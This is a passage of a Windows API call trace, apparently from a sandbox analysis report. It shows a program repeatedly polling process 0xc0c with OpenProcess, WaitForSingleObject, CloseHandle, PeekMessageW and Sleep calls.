PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.204] Sleep (dwMilliseconds=0x1) [0271.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf98 [0271.219] WaitForSingleObject (hHandle=0xf98, dwMilliseconds=0xa) returned 0x102 [0271.234] CloseHandle (hObject=0xf98) returned 1 [0271.234] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.235] Sleep (dwMilliseconds=0x1) [0271.250] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf98 [0271.250] WaitForSingleObject (hHandle=0xf98, dwMilliseconds=0xa) returned 0x102 [0271.266] CloseHandle (hObject=0xf98) returned 1 [0271.266] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.266] Sleep (dwMilliseconds=0x1) [0271.288] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.288] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.297] CloseHandle (hObject=0xfb0) returned 1 [0271.297] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.297] Sleep (dwMilliseconds=0x1) [0271.313] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.313] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.328] CloseHandle (hObject=0xfb0) returned 1 [0271.328] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.328] Sleep (dwMilliseconds=0x1) [0271.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.344] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.359] CloseHandle (hObject=0xfb0) returned 1 [0271.359] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.359] Sleep (dwMilliseconds=0x1) [0271.375] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.375] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.391] CloseHandle (hObject=0xfb0) returned 1 [0271.391] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.391] Sleep (dwMilliseconds=0x1) [0271.406] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.406] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.422] CloseHandle (hObject=0xfb0) returned 1 [0271.422] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.422] Sleep (dwMilliseconds=0x1) [0271.438] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.438] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.454] CloseHandle (hObject=0xfb0) returned 1 [0271.454] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.454] Sleep (dwMilliseconds=0x1) [0271.469] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.469] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.484] CloseHandle (hObject=0xfb0) returned 1 [0271.484] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.484] Sleep (dwMilliseconds=0x1) [0271.500] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.500] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.516] CloseHandle (hObject=0xfb0) returned 1 [0271.516] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.516] Sleep (dwMilliseconds=0x1) [0271.531] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.531] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.547] CloseHandle (hObject=0xfb0) returned 1 [0271.547] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.547] Sleep (dwMilliseconds=0x1) [0271.562] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.563] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.578] CloseHandle (hObject=0xfb0) returned 1 [0271.578] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.578] Sleep (dwMilliseconds=0x1) [0271.594] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfb0 [0271.594] WaitForSingleObject (hHandle=0xfb0, dwMilliseconds=0xa) returned 0x102 [0271.610] CloseHandle (hObject=0xfb0) returned 1 [0271.610] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.610] Sleep (dwMilliseconds=0x1) [0271.625] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfbc [0271.625] WaitForSingleObject (hHandle=0xfbc, dwMilliseconds=0xa) returned 0x102 [0271.643] CloseHandle (hObject=0xfbc) returned 1 [0271.643] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.643] Sleep (dwMilliseconds=0x1) [0271.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfbc [0271.656] WaitForSingleObject (hHandle=0xfbc, dwMilliseconds=0xa) returned 0x102 [0271.674] CloseHandle (hObject=0xfbc) returned 1 [0271.674] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.674] Sleep (dwMilliseconds=0x1) [0271.691] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfe8 [0271.691] WaitForSingleObject (hHandle=0xfe8, dwMilliseconds=0xa) returned 0x102 [0271.703] CloseHandle (hObject=0xfe8) returned 1 [0271.703] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.703] Sleep (dwMilliseconds=0x1) [0271.719] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xfe8 [0271.719] WaitForSingleObject (hHandle=0xfe8, dwMilliseconds=0xa) returned 0x102 [0271.736] CloseHandle (hObject=0xfe8) returned 1 [0271.736] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.736] Sleep (dwMilliseconds=0x1) [0271.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1018 [0271.763] WaitForSingleObject (hHandle=0x1018, dwMilliseconds=0xa) returned 0x102 [0271.769] CloseHandle (hObject=0x1018) returned 1 [0271.769] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.769] Sleep (dwMilliseconds=0x1) [0271.781] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1044 [0271.782] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0xa) returned 0x102 [0271.797] CloseHandle (hObject=0x1044) returned 1 [0271.797] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.797] Sleep (dwMilliseconds=0x1) [0271.813] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1044 [0271.813] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0xa) returned 0x102 [0271.828] CloseHandle (hObject=0x1044) returned 1 [0271.828] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.828] Sleep (dwMilliseconds=0x1) [0271.845] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1044 [0271.845] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0xa) returned 0x102 [0271.859] CloseHandle (hObject=0x1044) returned 1 [0271.859] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.859] Sleep (dwMilliseconds=0x1) [0271.875] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1064 [0271.875] WaitForSingleObject (hHandle=0x1064, dwMilliseconds=0xa) returned 0x102 [0271.896] CloseHandle (hObject=0x1064) returned 1 [0271.896] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.896] Sleep (dwMilliseconds=0x1) [0271.909] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0271.909] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0271.922] CloseHandle (hObject=0x1078) returned 1 [0271.922] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.922] Sleep (dwMilliseconds=0x1) [0271.938] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0271.938] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0271.953] CloseHandle (hObject=0x1078) returned 1 [0271.953] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.953] Sleep (dwMilliseconds=0x1) [0271.969] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0271.969] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0271.984] CloseHandle (hObject=0x1078) returned 1 [0271.984] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.984] Sleep (dwMilliseconds=0x1) [0272.000] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.000] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.016] CloseHandle (hObject=0x1078) returned 1 [0272.016] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.016] Sleep (dwMilliseconds=0x1) [0272.031] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.031] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.047] CloseHandle (hObject=0x1078) returned 1 [0272.047] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.047] Sleep (dwMilliseconds=0x1) [0272.063] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.063] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.078] CloseHandle (hObject=0x1078) returned 1 [0272.078] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.078] Sleep (dwMilliseconds=0x1) [0272.094] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.094] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.110] CloseHandle (hObject=0x1078) returned 1 [0272.110] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.110] Sleep (dwMilliseconds=0x1) [0272.125] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.125] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.141] CloseHandle (hObject=0x1078) returned 1 [0272.141] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.141] Sleep (dwMilliseconds=0x1) [0272.156] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.156] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.172] CloseHandle (hObject=0x1078) returned 1 [0272.172] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.172] Sleep (dwMilliseconds=0x1) [0272.188] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.188] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.203] CloseHandle (hObject=0x1078) returned 1 [0272.203] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.203] Sleep (dwMilliseconds=0x1) [0272.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.219] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.236] CloseHandle (hObject=0x1078) returned 1 [0272.236] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.236] Sleep (dwMilliseconds=0x1) [0272.250] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1078 [0272.250] WaitForSingleObject (hHandle=0x1078, dwMilliseconds=0xa) returned 0x102 [0272.266] CloseHandle (hObject=0x1078) returned 1 [0272.266] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.266] Sleep (dwMilliseconds=0x1) [0272.281] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.281] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.304] CloseHandle (hObject=0x1094) returned 1 [0272.304] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.304] Sleep (dwMilliseconds=0x1) [0272.313] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.313] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.328] CloseHandle (hObject=0x1094) returned 1 [0272.328] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.328] Sleep (dwMilliseconds=0x1) [0272.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.344] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.359] CloseHandle (hObject=0x1094) returned 1 [0272.359] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.359] Sleep (dwMilliseconds=0x1) [0272.375] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.375] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.391] CloseHandle (hObject=0x1094) returned 1 [0272.391] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.391] Sleep (dwMilliseconds=0x1) [0272.406] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.406] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.422] CloseHandle (hObject=0x1094) returned 1 [0272.422] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.422] Sleep (dwMilliseconds=0x1) [0272.438] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.438] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.453] CloseHandle (hObject=0x1094) returned 1 [0272.453] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.453] Sleep (dwMilliseconds=0x1) [0272.469] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.469] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.484] CloseHandle (hObject=0x1094) returned 1 [0272.484] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.484] Sleep (dwMilliseconds=0x1) [0272.500] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.500] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.516] CloseHandle (hObject=0x1094) returned 1 [0272.516] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.516] Sleep (dwMilliseconds=0x1) [0272.531] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.531] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.547] CloseHandle (hObject=0x1094) returned 1 [0272.547] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.547] Sleep (dwMilliseconds=0x1) [0272.564] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.564] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.578] CloseHandle (hObject=0x1094) returned 1 [0272.578] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.578] Sleep (dwMilliseconds=0x1) [0272.594] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.594] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.610] CloseHandle (hObject=0x1094) returned 1 [0272.610] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.610] Sleep (dwMilliseconds=0x1) [0272.625] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.625] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.641] CloseHandle (hObject=0x1094) returned 1 [0272.641] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.641] Sleep (dwMilliseconds=0x1) [0272.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.656] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.672] CloseHandle (hObject=0x1094) returned 1 [0272.672] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.672] Sleep (dwMilliseconds=0x1) [0272.687] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.687] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.703] CloseHandle (hObject=0x1094) returned 1 [0272.703] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.703] Sleep (dwMilliseconds=0x1) [0272.719] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1094 [0272.719] WaitForSingleObject (hHandle=0x1094, dwMilliseconds=0xa) returned 0x102 [0272.734] CloseHandle (hObject=0x1094) returned 1 [0272.735] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.735] Sleep (dwMilliseconds=0x1) [0272.760] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x10bc [0272.760] WaitForSingleObject (hHandle=0x10bc, dwMilliseconds=0xa) returned 0x102 [0272.766] CloseHandle (hObject=0x10bc) returned 1 [0272.766] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.766] Sleep (dwMilliseconds=0x1) [0272.781] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x10d0 [0272.781] WaitForSingleObject (hHandle=0x10d0, dwMilliseconds=0xa) returned 0x102 [0272.797] CloseHandle (hObject=0x10d0) returned 1 [0272.797] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.797] Sleep (dwMilliseconds=0x1) [0272.813] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x10d4 [0272.813] WaitForSingleObject (hHandle=0x10d4, dwMilliseconds=0xa) returned 0x102 [0272.828] CloseHandle (hObject=0x10d4) returned 1 [0272.828] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.828] Sleep (dwMilliseconds=0x1) [0272.847] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1114 [0272.848] WaitForSingleObject (hHandle=0x1114, dwMilliseconds=0xa) returned 0x102 [0272.860] CloseHandle (hObject=0x1114) returned 1 [0272.860] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.860] Sleep (dwMilliseconds=0x1) [0272.876] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x114c [0272.876] WaitForSingleObject (hHandle=0x114c, dwMilliseconds=0xa) returned 0x102 [0272.891] CloseHandle (hObject=0x114c) returned 1 [0272.891] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.891] Sleep (dwMilliseconds=0x1) [0272.906] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x114c [0272.906] WaitForSingleObject (hHandle=0x114c, dwMilliseconds=0xa) returned 0x102 [0272.922] CloseHandle (hObject=0x114c) returned 1 [0272.922] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.922] Sleep (dwMilliseconds=0x1) [0272.938] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x114c [0272.938] WaitForSingleObject (hHandle=0x114c, dwMilliseconds=0xa) returned 0x102 [0272.973] CloseHandle (hObject=0x114c) returned 1 [0272.973] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0272.973] Sleep (dwMilliseconds=0x1) [0272.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x114c [0272.984] WaitForSingleObject (hHandle=0x114c, dwMilliseconds=0xa) returned 0x102 [0273.001] CloseHandle (hObject=0x114c) returned 1 [0273.001] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.001] Sleep (dwMilliseconds=0x1) [0273.016] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1178 [0273.016] WaitForSingleObject (hHandle=0x1178, dwMilliseconds=0xa) returned 0x102 [0273.033] CloseHandle (hObject=0x1178) returned 1 [0273.033] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.033] Sleep 